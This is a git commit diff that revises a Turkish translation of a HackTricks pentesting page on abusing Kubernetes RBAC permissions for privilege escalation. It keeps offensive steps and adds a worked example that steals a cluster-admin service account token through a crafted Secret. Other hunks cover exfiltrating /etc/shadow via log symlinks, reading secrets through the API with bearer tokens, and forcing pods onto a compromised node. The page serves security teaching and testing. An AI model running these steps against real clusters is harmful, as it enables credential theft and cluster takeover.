mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# Kubernetes'te Roller/ClusterRoller'ın Kötüye Kullanımı
|
||||
# Kubernetes'te Roller/ClusterRoller'ın Suistimali
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -7,17 +7,17 @@ Tüm desteklenen kaynakları `kubectl api-resources` ile alabileceğinizi unutma
|
||||
|
||||
## **Ayrıcalık Yükseltme**
|
||||
|
||||
Küme içinde **farklı ayrıcalıklara** sahip **farklı bir prensibe erişim sağlama** sanatı olarak tanımlanır (kubernetes kümesi içinde veya dış bulutlara), Kubernetes'te temelde **ayrıcalıkları yükseltmek için 4 ana teknik** vardır:
|
||||
Küme içinde **farklı ayrıcalıklara** sahip **farklı bir prensibe erişim sağlama sanatı** olarak tanımlanır (kubernetes kümesi içinde veya dış bulutlara), Kubernetes'te temelde **ayrıcalıkları yükseltmek için 4 ana teknik** vardır:
|
||||
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip diğer kullanıcı/grupları/SAs'yi **taklit edebilme**
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip SAs'yi **bulabileceğiniz veya ekleyebileceğiniz podlar oluşturma/düzeltme/çalıştırma**
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip diğer kullanıcı/grupları/SAs ile **taklit edebilme**
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip SAs bulabileceğiniz veya ekleyebileceğiniz **pod'lar oluşturma/yamanlama/çalıştırma**
|
||||
- SAs token'larının gizli olarak saklandığı için **gizli bilgileri okuma**
|
||||
- Bir konteynerden **düğümüne kaçabilme**, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı buluttaki düğümün izinlerini çalabilirsiniz (varsa)
|
||||
- Anılması gereken beşinci bir teknik, bir podda **port-forward çalıştırma** yeteneğidir, çünkü bu pod içinde ilginç kaynaklara erişim sağlayabilirsiniz.
|
||||
- Bir konteynerden **düğüme kaçabilme**, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı buluttaki düğümün izinlerini çalabilirsiniz (varsa)
|
||||
- Anılması gereken beşinci bir teknik, bir pod'da **port-forward çalıştırma** yeteneğidir; bu sayede o pod içindeki ilginç kaynaklara erişim sağlayabilirsiniz.
|
||||
|
||||
### Herhangi Bir Kaynağa veya Fiile Erişim (Wildcard)
|
||||
|
||||
**Wildcard (\*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir**. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i kötüye kullanabileceği anlamına gelir.
|
||||
**wildcard (\*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir**. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i suistimal edebileceği anlamına gelir.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -33,9 +33,9 @@ verbs: ["*"]
|
||||
|
||||
RBAC'de, belirli izinler önemli riskler taşır:
|
||||
|
||||
1. **`create`:** Herhangi bir küme kaynağı oluşturma yetkisi verir, ayrıcalık yükseltilmesi riski taşır.
|
||||
2. **`list`:** Tüm kaynakları listeleme izni verir, hassas verilerin sızdırılma olasılığını artırır.
|
||||
3. **`get`:** Hizmet hesaplarından gizli bilgilere erişim izni verir, güvenlik tehdidi oluşturur.
|
||||
1. **`create`:** Herhangi bir küme kaynağı oluşturma yetkisi verir, bu da ayrıcalık yükselmesi riski taşır.
|
||||
2. **`list`:** Tüm kaynakları listeleme izni verir, bu da hassas verilerin sızdırılmasına neden olabilir.
|
||||
3. **`get`:** Hizmet hesaplarından gizli bilgilere erişim izni verir, bu da bir güvenlik tehdidi oluşturur.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
|
||||
#### Stealth
|
||||
|
||||
Muhtemelen daha **gizli** olmak istiyorsunuz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı ayrıcalıkları etkinleştirerek bir pod oluşturursanız neleri erişebileceğinizi görebilirsiniz:
|
||||
Muhtemelen **gizli** olmak istiyorsunuz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı ayrıcalıkları etkinleştirerek bir pod oluşturursanız neleri erişebileceğinizi görebilirsiniz:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,12 +136,12 @@ Muhtemelen daha **gizli** olmak istiyorsunuz, aşağıdaki sayfalarda, önceki
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturacağınız/istismar edeceğinizle ilgili örnekleri_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _adresinde bulabilirsiniz._
|
||||
_Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturacağınız/istismar edeceğinizin örneğini_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _adresinde bulabilirsiniz._
|
||||
|
||||
### Pod Oluştur - Buluta Taşı
|
||||
|
||||
Eğer bir **pod** (ve isteğe bağlı olarak bir **hizmet hesabı**) **oluşturabiliyorsanız**, bir **pod veya hizmet hesabına bulut rolleri atayarak bulut ortamında ayrıcalık elde etme** şansınız olabilir ve ardından buna erişebilirsiniz.\
|
||||
Ayrıca, **host network namespace** ile bir **pod oluşturabiliyorsanız**, **düğüm** örneğinin IAM rolünü **çalıştırabilirsiniz**.
|
||||
Eğer bir **pod** (ve isteğe bağlı olarak bir **hizmet hesabı**) **oluşturabiliyorsanız**, bir **pod'a veya hizmet hesabına bulut rolleri atayarak bulut ortamında ayrıcalık elde etme** şansınız olabilir ve ardından buna erişebilirsiniz.\
|
||||
Ayrıca, eğer **host network namespace** ile bir **pod oluşturabiliyorsanız**, **düğüm** örneğinin IAM rolünü **ç steal** edebilirsiniz.
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
@@ -151,7 +151,7 @@ pod-escape-privileges.md
|
||||
|
||||
### **Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs ve Cronjobs Oluştur/Düzelt**
|
||||
|
||||
Bu izinleri, önceki örnekte olduğu gibi **yeni bir pod oluşturmak** ve ayrıcalıkları istismar etmek için kullanmak mümkündür.
|
||||
Bu izinleri istismar ederek **yeni bir pod oluşturmak** ve önceki örnekte olduğu gibi ayrıcalıklar elde etmek mümkündür.
|
||||
|
||||
Aşağıdaki yaml **bir daemonset oluşturur ve pod içindeki SA'nın tokenini dışarı aktarır:**
|
||||
```yaml
|
||||
@@ -207,11 +207,11 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
|
||||
As [**bu araştırmada belirtilmiştir**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), eğer **hosts `/var/log/` dizini montelenmiş** bir pod'a erişebilir veya oluşturabilirseniz, **konteynerden kaçabilirsiniz**.\
|
||||
Bu, temelde **Kube-API bir konteynerin loglarını almaya çalıştığında** ( `kubectl logs <pod>` kullanarak) pod'un **`0.log`** dosyasını **Kubelet** servisinin `/logs/` uç noktası aracılığıyla talep etmesindendir.\
|
||||
Kubelet servisi, temelde **konteynerin `/var/log` dosya sistemini açan** `/logs/` uç noktasını açar.
|
||||
Kubelet servisi, temelde **konteynerin `/var/log` dosya sistemini açan** `/logs/` uç noktasını sunar.
|
||||
|
||||
Bu nedenle, konteynerin **/var/log/ klasöründe yazma erişimi olan** bir saldırgan bu davranışları 2 şekilde kötüye kullanabilir:
|
||||
|
||||
- Konteynerinin `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` konumunda bulunur) örneğin **`/etc/shadow`**'a işaret eden bir **sembolik bağlantı** olacak şekilde değiştirmek. Ardından, hosts shadow dosyasını dışarıya aktarma işlemini gerçekleştirebilirsiniz:
|
||||
- Konteynerinin `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` konumunda bulunur) örneğin **`/etc/shadow`**'a işaret eden bir **sembolik bağlantı** olacak şekilde değiştirmek. Ardından, şu şekilde ana bilgisayarın shadow dosyasını dışarı aktarabilirsiniz:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Eğer saldırgan, **`nodes/log`'u okuma izinlerine sahip** herhangi bir yetkiliyi kontrol ediyorsa, `/host-mounted/var/log/sym` içinde `/`'ye bir **symlink** oluşturabilir ve **`https://<gateway>:10250/logs/sym/`'ye eriştiğinde, ana bilgisayarın kök** dosya sistemini listeleyecektir (symlink'i değiştirmek dosyalara erişim sağlayabilir).
|
||||
- Eğer saldırgan, **`nodes/log`'u okuma izinlerine sahip** herhangi bir yetkiliyi kontrol ediyorsa, `/host-mounted/var/log/sym` içinde `/`'ye bir **symlink** oluşturabilir ve **`https://<gateway>:10250/logs/sym/` adresine eriştiğinde, ana bilgisayarın kök** dosya sistemini listeleyecektir (symlink'i değiştirmek dosyalara erişim sağlayabilir).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -233,21 +233,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**Bir laboratuvar ve otomatik istismar** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) bulunabilir.
|
||||
|
||||
#### ReadOnly korumasını atlama <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### ReadOnly korumasını aşma <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Eğer şanslıysanız ve yüksek ayrıcalıklı yetenek `CAP_SYS_ADMIN` mevcutsa, klasörü rw olarak yeniden monte edebilirsiniz:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### hostPath readOnly korumasını atlama <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
[**bu araştırmada**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) belirtildiği gibi, korumayı atlamak mümkündür:
|
||||
[**Bu araştırmada**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) belirtildiği gibi, korumayı aşmak mümkündür:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Önceki gibi kaçışları önlemek için, bir hostPath montajı kullanmak yerine, yazılabilir erişim ile bir ana bilgisayarın klasörünü konteynere monte etmek için bir PersistentVolume ve PersistentVolumeClaim kullanmak üzere tasarlanmıştı:
|
||||
Önceki gibi kaçışları önlemek için, bir hostPath montajı kullanmak yerine, bir PersistentVolume ve bir PersistentVolumeClaim kullanarak bir ana bilgisayar klasörünü konteynerde yazılabilir erişimle monte etmek amacıyla tasarlanmıştır:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -312,21 +312,84 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Gizli Anahtarları Listeleme
|
||||
|
||||
**Gizli anahtarları listeleme izni, bir saldırganın gizli anahtarları gerçekten okumasına izin verebilir** REST API uç noktasına erişerek:
|
||||
**Gizli anahtarları listeleme izni, bir saldırganın aslında gizli anahtarları okumasına izin verebilir** REST API uç noktasına erişerek:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Gizli bir şeyi okuma – token ID'lerini brute-force ile kırma
|
||||
### Gizli Anahtarlar Oluşturma ve Okuma
|
||||
|
||||
Okuma izinlerine sahip bir token'a sahip bir saldırgan, bunu kullanmak için gizlinin tam adını gerektirirken, daha geniş _**gizli listeleme**_ ayrıcalığının aksine, hala zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir gizli ile ilişkilidir. Bu gizlilerin bir ad yapısı vardır: belirli bir karakter hariç, rastgele beş karakterli alfanümerik bir token ile takip edilen statik bir ön ek ([kaynak kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)).
|
||||
**kubernetes.io/service-account-token** türünde özel bir Kubernetes gizli anahtarı, serviceaccount token'larını saklar. Eğer gizli anahtarlar oluşturma ve okuma izinleriniz varsa ve ayrıca serviceaccount'un adını biliyorsanız, aşağıdaki gibi bir gizli anahtar oluşturabilir ve ardından kurban serviceaccount'un token'ını ondan çalabilirsiniz:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Örnek istismar:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir saldırgan, token'ı birkaç saat içinde çözmek için makul bir şekilde bir brute-force saldırısı gerçekleştirebilir ve bu da hassas hizmet hesaplarına erişim ile ayrıcalık yükselmesine yol açabilir.
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Not edin ki, belirli bir ad alanında gizli anahtarlar oluşturma ve okuma izniniz varsa, kurban hizmet hesabı da aynı ad alanında olmalıdır.
|
||||
|
||||
### Gizli bir anahtarı okuma – token ID'lerini brute-force ile kırma
|
||||
|
||||
Okuma izinlerine sahip bir token'a sahip bir saldırganın, onu kullanmak için gizli anahtarın tam adını bilmesi gerekir; bu, daha geniş _**gizli anahtarları listeleme**_ ayrıcalığından farklıdır, ancak yine de zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir gizli anahtarla ilişkilidir. Bu gizli anahtarların bir ad yapısı vardır: statik bir ön ekin ardından rastgele beş karakterli alfanümerik bir token gelir (belirli karakterler hariç) [kaynak koda](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) göre.
|
||||
|
||||
Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir saldırgan, token'ı birkaç saat içinde çözmek için makul bir brute-force saldırısı gerçekleştirebilir ve bu da hassas hizmet hesaplarına erişim yoluyla ayrıcalık yükselmesine yol açabilir.
|
||||
|
||||
### Sertifika İmzalama Talepleri
|
||||
|
||||
Eğer `certificatesigningrequests` kaynağında **`create`** fiiliniz varsa (veya en azından `certificatesigningrequests/nodeClient` içinde). Yeni bir **node** için yeni bir CeSR **oluşturabilirsiniz.**
|
||||
Eğer `certificatesigningrequests` kaynağında **`create`** fiillerine sahipseniz (veya en azından `certificatesigningrequests/nodeClient` içinde). **Yeni bir düğüm için** yeni bir CeSR **oluşturabilirsiniz.**
|
||||
|
||||
[Belgelerde bu talepleri otomatik onaylamanın mümkün olduğu belirtiliyor](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), bu durumda **ek izinlere ihtiyacınız yoktur**. Aksi takdirde, talebi onaylayabilmeniz gerekir, bu da `certificatesigningrequests/approval` üzerinde güncelleme ve `signers` içinde `approve` anlamına gelir; resourceName `<signerNameDomain>/<signerNamePath>` veya `<signerNameDomain>/*` şeklindedir.
|
||||
[Belgelerde bu talepleri otomatik onaylamanın mümkün olduğu belirtiliyor](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), bu durumda **ek izinlere ihtiyacınız yoktur**. Aksi takdirde, talebi onaylayabilmeniz gerekir; bu, `certificatesigningrequests/approval` içinde güncelleme ve `signers` içinde `approve` anlamına gelir ve resourceName `<signerNameDomain>/<signerNamePath>` veya `<signerNameDomain>/*` olmalıdır.
|
||||
|
||||
Gerekli tüm izinlere sahip bir **rol örneği**:
|
||||
```yaml
|
||||
@@ -370,8 +433,8 @@ Bunu aşmanın yolu, **ilginç gizli bilgilerin monte edildiği konteynerin bulu
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS (AWS'de olmalı) kümelerinde kube-system ad alanındaki **`configmaps`**'leri değiştirebilen ilkeler, **aws-auth** configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir.\
|
||||
Gerekli fiiller **`update`** ve **`patch`**'tir, ya da configmap oluşturulmadıysa **`create`**'dir:
|
||||
EKS (AWS'de olmanız gerekir) kümelerindeki kube-system ad alanında **`configmaps`**'i değiştirebilen ilkeler, **aws-auth** configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir.\
|
||||
Gerekli fiiller **`update`** ve **`patch`**'tir, veya configmap oluşturulmadıysa **`create`**'dir:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -411,18 +474,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> **`aws-auth`** kullanarak **kalıcılık** sağlayabilir ve **diğer hesaplardan** kullanıcılara erişim verebilirsiniz.
|
||||
> **`aws-auth`**'ı **kalıcılık** için **diğer hesaplardan** kullanıcılar için erişim vermek amacıyla kullanabilirsiniz.
|
||||
>
|
||||
> Ancak, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **farklı bir hesapta çalışmaz**. Ama aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` çalışır, eğer sadece ismin yerine küme ARN'sini koyarsanız.\
|
||||
> `kubectl`'in çalışması için, sadece **kurbanın kubeconfig'ini** **yapılandırdığınızdan** emin olun ve aws exec argümanlarına `--profile other_account_role` ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesap profilini kullanacaktır.
|
||||
> Ancak, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **farklı bir hesap üzerinden çalışmaz**. Ama aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` çalışır, eğer sadece ismin yerine küme ARN'sini koyarsanız.\
|
||||
> `kubectl`'in çalışması için, sadece **kurbanın kubeconfig**'ini **yapılandırdığınızdan** emin olun ve aws exec argümanlarına `--profile other_account_role` ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesap profilini kullanacaktır.
|
||||
|
||||
### GKE'de Yükseltme
|
||||
### GKE'de Yükselme
|
||||
|
||||
**GCP ilkelerine K8s izinleri atamak için 2 yol vardır**. Her durumda, ilkenin kümeye erişim sağlamak için **`container.clusters.get`** iznine de ihtiyacı vardır, aksi takdirde **kendi kubectl yapılandırma dosyanızı oluşturmanız** gerekecektir (bir sonraki bağlantıyı takip edin).
|
||||
|
||||
> [!WARNING]
|
||||
> K8s api uç noktasıyla konuşurken, **GCP kimlik doğrulama token'ı gönderilecektir**. Ardından, GCP, K8s api uç noktası aracılığıyla, önce **ilkenin** (e-posta ile) **kümeye herhangi bir erişimi olup olmadığını kontrol edecektir**, ardından **GCP IAM aracılığıyla herhangi bir erişimi olup olmadığını** kontrol edecektir.\
|
||||
> Eğer bu **doğruysa**, **yanıt verilecektir**. Eğer **değilse**, **GCP IAM aracılığıyla izinler verilmesi** öneren bir **hata** verilecektir.
|
||||
> Eğer bu durumlardan **herhangi biri** **doğruysa**, **yanıt verilecektir**. Eğer **değilse**, **GCP IAM aracılığıyla izinler verilmesi** öneren bir **hata** verilecektir.
|
||||
|
||||
İlk yöntem **GCP IAM** kullanmaktır, K8s izinlerinin **eşdeğer GCP IAM izinleri** vardır ve eğer ilke buna sahipse, bunu kullanabilecektir.
|
||||
|
||||
@@ -432,9 +495,9 @@ groups:
|
||||
|
||||
İkinci yöntem, **kümeye içindeki K8s izinlerini atamak** ve kullanıcıyı **e-posta** ile tanımlamaktır (GCP hizmet hesapları dahil).
|
||||
|
||||
### Hizmet hesapları token oluşturma
|
||||
### Serviceaccounts token oluşturma
|
||||
|
||||
**TokenRequests** (`serviceaccounts/token`) oluşturabilen ilkeler K8s api uç noktasıyla konuşurken SAs (bilgi [**buradan**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
**TokenRequests** (`serviceaccounts/token`) oluşturabilen ilkeler K8s api uç noktasıyla konuştuğunda SAs (bilgi [**buradan**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
@@ -442,13 +505,13 @@ groups:
|
||||
|
||||
### ValidatingWebhookConfigurations veya MutatingWebhookConfigurations
|
||||
|
||||
`validatingwebhookconfigurations` veya `mutatingwebhookconfigurations` üzerinde `create`, `update` veya `patch` fiillerinden herhangi birine sahip olan ilkeler, **bu tür bir webhookconfigurations oluşturma** yeteneğine sahip olabilirler, böylece **yetkileri artırabilirler**.
|
||||
`validatingwebhookconfigurations` veya `mutatingwebhookconfigurations` üzerinde `create`, `update` veya `patch` fiillerinden herhangi birine sahip olan ilkeler, **bu tür bir webhookconfigurations oluşturma** yeteneğine sahip olabilirler, böylece **yetkileri artırma** imkanı bulabilirler.
|
||||
|
||||
[`mutatingwebhookconfigurations` örneği için bu gönderinin bu bölümüne bakın](./#malicious-admission-controller).
|
||||
[`mutatingwebhookconfigurations` örneği için bu gönderinin bu bölümüne bakın](#malicious-admission-controller).
|
||||
|
||||
### Yükseltme
|
||||
### Yükselme
|
||||
|
||||
Sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Önleme**](./#built-in-privileged-escalation-prevention), bir ilke, kendisi bu yeni izinlere sahip olmadan ne rol ne de clusterrole güncelleyemez veya oluşturamaz. Ancak **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, yeni roller, clusterrole'ler güncelleyebilir veya oluşturabilir.
|
||||
Bir sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Önleme**](#built-in-privileged-escalation-prevention), bir ilke, kendisi bu yeni izinlere sahip olmadan roller veya clusterroller oluşturamaz veya güncelleyemez. Ancak **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, yeni roller, clusterroller oluşturup güncelleyebilir.
|
||||
|
||||
### Düğüm proxy
|
||||
|
||||
@@ -458,11 +521,11 @@ Sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Ö
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
[**Kubelet API ile yetkilendirilmiş konuşarak RCE elde etme örneğini burada bulabilirsiniz**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
[**Kubelet API ile yetkilendirilmiş konuşarak RCE elde etme örneğini burada bulabilirsiniz**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Pod'ları silme + planlanamayan düğümler
|
||||
|
||||
**Pod'ları silebilen** (`delete` fiili `pods` kaynağı üzerinde), veya **pod'ları tahliye edebilen** (`create` fiili `pods/eviction` kaynağı üzerinde), veya **pod durumunu değiştirebilen** (access to `pods/status`) ve **diğer düğümleri planlanamaz hale getirebilen** (access to `nodes/status`) veya **düğümleri silebilen** (`delete` fiili `nodes` kaynağı üzerinde) ve bir pod üzerinde kontrolü olan ilkeler, **diğer düğümlerden pod'ları çalabilir** böylece bunlar **kompromize** **düğümde** **çalıştırılır** ve saldırgan bu pod'lardan **token'ları çalabilir**.
|
||||
**Pod'ları silebilen** (`delete` fiili üzerinde `pods` kaynağı), veya **pod'ları tahliye edebilen** (`create` fiili üzerinde `pods/eviction` kaynağı), veya **pod durumunu değiştirebilen** (access to `pods/status`) ve **diğer düğümleri planlanamaz hale getirebilen** (access to `nodes/status`) veya **düğümleri silebilen** (`delete` fiili üzerinde `nodes` kaynağı) ve bir pod üzerinde kontrolü olan ilkeler, **diğer düğümlerden pod'ları çalabilir**, böylece bunlar **kompromize** **düğümde** **çalıştırılır** ve saldırgan bu pod'lardan **token'ları çalabilir**.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -473,45 +536,45 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Hizmetler durumu (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
**`services/status`**'u **değiştirebilen** ilkeler, **düzeltilememiş CVE-2020-8554**'ü istismar etmek ve **MiTM saldırıları başlatmak** için `status.loadBalancer.ingress.ip` alanını ayarlayabilir. CVE-2020-8554 için çoğu hafifletme, yalnızca ExternalIP hizmetlerini engeller (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
**`services/status`**'ı **değiştirebilen** ilkeler, `status.loadBalancer.ingress.ip` alanını **düzeltilememiş CVE-2020-8554**'ü istismar etmek için ayarlayabilir ve **MiTM saldırıları** başlatabilir. CVE-2020-8554 için çoğu önlem, yalnızca ExternalIP hizmetlerini engeller (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
